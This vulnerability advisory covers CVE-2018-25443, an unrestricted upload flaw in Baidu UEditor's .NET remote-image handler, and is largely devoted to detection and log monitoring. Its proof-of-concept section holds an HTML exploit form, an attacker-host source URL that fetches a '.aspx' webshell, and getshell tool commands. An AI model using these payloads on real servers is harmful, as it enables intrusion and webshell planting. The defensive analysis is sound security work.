Introduction
A rich text editor's harmless-looking "capture remote image" feature became an unauthenticated remote code execution path for any site running Baidu UEditor's .NET backend. VulnCheck credits the Shadowserver Foundation with first observing exploitation in the wild on 2023-10-17, years after the flaw was disclosed in 2018.
UEditor is an open source WYSIWYG rich text web editor developed by Baidu's FEX frontend research team. A 2018 security article describes it as used by many web applications, though no adoption figures are available to quantify its reach. The project repository notes that the backend code is demonstration code that should not be used directly in production, which makes its real-world deployment under many paths and applications worth the attention of defenders.
Technical Information
The vulnerable feature is the .NET remote image capture handler specifically, not every UEditor language backend. The 2018 security notices describe the affected scope as the .NET version and state that other language versions were not affected by this particular issue.
When /ueditor/net/controller.ashx receives a request with action=catchimage, the dispatch logic instantiates new CrawlerHandler(context). CrawlerHandler.Process() reads the submitted URLs from the POST form field source[] via Request.Form.GetValues("source[]") and calls new Crawler(x, Server).Fetch() for each one.
Inside Fetch(), the handler requests the remote URL, requires a successful HTTP response, and then performs its single security check: it inspects only the response Content-Type, using logic equivalent to response.ContentType.IndexOf("image") == -1. If the word image is present, the handler reads the response bytes and writes them straight to disk:
// Only the response Content-Type is inspected before the write if (response.ContentType.IndexOf("image") == -1) { // treated as an error } // ... File.WriteAllBytes(savePath, bytes);
The critical detail is that savePath is derived from the attacker-supplied URL via Path.GetFileName(this.SourceUrl). There is no separate check of the filename extension and no inspection of the file contents.
Root cause
The security failure is the gap between trusting a response's Content-Type header and validating what filename and type the server ultimately stores. Content-Type is attacker-controllable, since the attacker serves the file from infrastructure they own, and Path.GetFileName happily preserves a .aspx extension that survives a query-string trick. A source URL of the form x.jpg?.aspx passes the image Content-Type check, because the fetched content is a polyglot image, while the saved filename keeps an executable .aspx extension. This is a textbook CWE-434 unrestricted upload leading to code execution.
Attack flow
- The attacker hosts a malicious "image" (a webshell polyglot, for example
x.jpgcontaining ASPX code) on a server they control, served with animage/*Content-Type. - The attacker crafts an HTML form that POSTs a
source[]parameter to the vulnerable endpoint, appending the?.aspxquery-string trick so the saved filename keeps an executable extension while the fetched content still passes the Content-Type check. - The
source[]value is the remote shell URL, for examplehttp://attacker-server/x.jpg?.aspx. - On success the server fetches the remote file, saves it as an
.aspxfile under the upload path, and returns a JSON response withstate: SUCCESSand the resulting serverurl. The written.aspxis then directly reachable, which yields remote code execution. The original disclosure demonstrated this via a China Chopper ("caidao") webshell connection.
Note that the 1.4.3.3 code rejects private and loopback addresses, so the payload must come from a publicly reachable host.
Proof of Concept
A working, publicly reproducible exploit exists for this exact vulnerability. The attacker-facing form that submits the crafted source[] parameter looks like this:
<form action="http://TARGET/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr: <input type="text" name="source[]" /></p> <input type="submit" value="Submit" /> </form>
The value submitted in the source[] field is the remote shell URL, formatted to bypass the Content-Type check and force .aspx parsing:
http://attacker-server/x.jpg?.aspx
Public tooling automates this:
theLSA/ueditor-getshell(ueGetshell.py), published August 2018, automates single-URL and batch exploitation. It submits the craftedsource[]request tocontroller.ashx?action=catchimage(the README notes the operator must set their ownremoteShelladdress) and reports the returned shell path. Example usage:python ueGetshell.py -u http://TARGET/controller.ashx -s 5for a single target, orpython ueGetshell.py -f urls.txt -t 10 -s 5for batch.- A Nuclei detection template (
projectdiscovery/nuclei-templatesathttp/vulnerabilities/other/ueditor-file-upload.yaml, CWE-434, severity high) fingerprints the vulnerable endpoint via a GET to/ueditor/net/controller.ashx?action=catchimage&encode=utf-8, matching HTTP 200 plus the body string没有指定抓取源("no capture source specified").
Note that the disclosure and tooling predate the CVE-2018-25443 identifier assignment, originating from the August 2018 UEditor .NET getshell advisory.
Detection Methods
You can detect this issue at three points: before an attack (find exposed, vulnerable handlers), during it (the catchimage request and its JSON response), and after it (the server's outbound fetch and the .aspx file it writes).
1. Exposure scanning (Nuclei / fscan)
ProjectDiscovery's ueditor-file-upload template, which both the VulnCheck advisory and the NVD record list as a reference, sends a harmless GET to the handler and flags the target if the response is HTTP 200 and the body contains the handler's "no fetch source specified" error string:
http: - method: GET path: - "{{BaseURL}}/ueditor/net/controller.ashx?action=catchimage&encode=utf-8" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "没有指定抓取源" part: body
This works because a GET carries no source[] form field, so the handler returns 参数错误:没有指定抓取源 ("parameter error: no fetch source specified"), a string that appears verbatim in CrawlerHandler.cs. The fscan rule poc-yaml-ueditor-cnvd-2017-20077-file-upload uses the same logic: response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源"))).
A match shows the vulnerable crawler handler is reachable; it does not prove a file can be written. Check the deployed UEditor version and whether the code has been changed to check extensions before treating a hit as confirmed exploitable. UEditor is often installed under other paths, so checking only the root /ueditor/net/ path will miss many installs. Public exploit tooling (Tas9er's UEditorGetShell) tries locations such as /Content/plugins/ueditor/net/, /scripts/ueditor/net/, /js/ueditor/net/, /Static/ueditor/net/ and /Utility/UEditor. Run your scan against your own list of base paths.
2. Web-log and WAF monitoring
The exploit request has a stable shape:
- A POST to any
controller.ashxwithaction=catchimagein the query string. - A
source[]body parameter (URL-encoded assource%5B%5D) holding an external URL. - A URL ending in a script extension after a
?, with?.aspxbeing the classic trick.
IIS W3C logs record the URI and query string but not the POST body, so in plain IIS logs legitimate editor use and exploitation look almost identical: a POST to controller.ashx?action=catchimage. To see source[], you need a WAF, reverse proxy or network sensor that inspects request bodies. Alert on a source[] value containing .aspx, .ashx, .asmx or .asp after a ?, and treat any catchimage POST from outside your editor users' normal sessions as suspicious. If you can capture response bodies, a JSON reply with state set to SUCCESS whose url field ends in .aspx is strong evidence of a successful write.
3. Recognising reconnaissance
Before exploiting, attackers mass-probe for the handler. One administrator published IIS logs showing a single IP sending more than 300 catchimage requests in about 10 seconds, cycling through hundreds of path variants in mixed case, including /content/lib/ueditor/1.4.3/net/controller.ashx, /framework/ueditor/net/controller.ashx and /api/UeditorController.ashx, nearly all returning 404. In logs this looks like many different URI paths from one client, each with the query string action=catchimage, which is easy to catch with a rate or distinct-path threshold. A 200 response among those 404s means the scanner found a live handler, and that host should be investigated first.
4. Host and network checks after exploitation
Because the server downloads the payload itself, there are two more places to look:
- Outbound traffic: the IIS worker process (usually
w3wp.exe) makes outbound HTTP(S) requests to whatever host the attacker put insource[]. The 1.4.3.3 code rejects private and loopback addresses, so the payload must come from a public host. Egress logs showing your web server fetching from unfamiliar internet hosts right after acatchimagePOST should be investigated. - File system: the file is written with
File.WriteAllBytesto a path built from thecatcherPathFormatsetting in UEditor'sconfig.json. Monitor that directory, and the wider UEditor upload tree, for any new.aspx,.ashxor.aspfile. A legitimate image-fetch feature should only ever write image files there. - Follow-up requests: look in web logs for later requests to scripts under the upload directory, which suggests the webshell is being used.
None of the fetched public sources include a Sigma, YARA, Snort or Suricata rule written for this CVE, and none publish campaign IoCs such as IP addresses or hashes. The checks above are built from the public scanner templates, the vulnerable source code, and published attack logs.
Affected Systems and Versions
The vulnerability affects Baidu UEditor .NET versions 1.4.0 through 1.4.3.3. The affected component is the .NET backend's remote image capture handler (CrawlerHandler / Crawler) reached through the catchimage action of /ueditor/net/controller.ashx. The 2018 security notices describe the affected scope as the .NET version and state that other language versions were not affected by this particular issue.
There is a CVSS score discrepancy in the source material: the request data cites 9.8 while the located VulnCheck advisory cites 9.3. The sources reviewed do not settle which score should be treated as authoritative. The sources reviewed also do not identify a specific vendor-released fixed version. Version 1.4.3.3 is the latest listed release in the GitHub result but is not identified as a fix, and should not be assumed to resolve the flaw without independent confirmation.
References
- NVD: CVE-2018-25443
- VulnCheck Advisory: Baidu UEditor 1.4.0-1.4.3.3 Unrestricted File Upload via controller.ashx
- UEditor CrawlerHandler.cs source (v1.4.3.3)
- UEditor config.json source (v1.4.3.3)
- fex-team/ueditor repository
- Nuclei template: ueditor-file-upload.yaml
- fscan PoC: ueditor-cnvd-2017-20077-file-upload.yml
- theLSA/ueditor-getshell README
- Tas9er/UEditorGetShell ueditor.properties
- FreeBuf analysis (archived)
- cnblogs write-up (dragon2017)
- cnblogs attack-log write-up (dgqjj)
- Vulnerability-Wiki: UEditor editor vulnerability summary
- Anquanke analysis
- VulDB: CVE-2018-25443



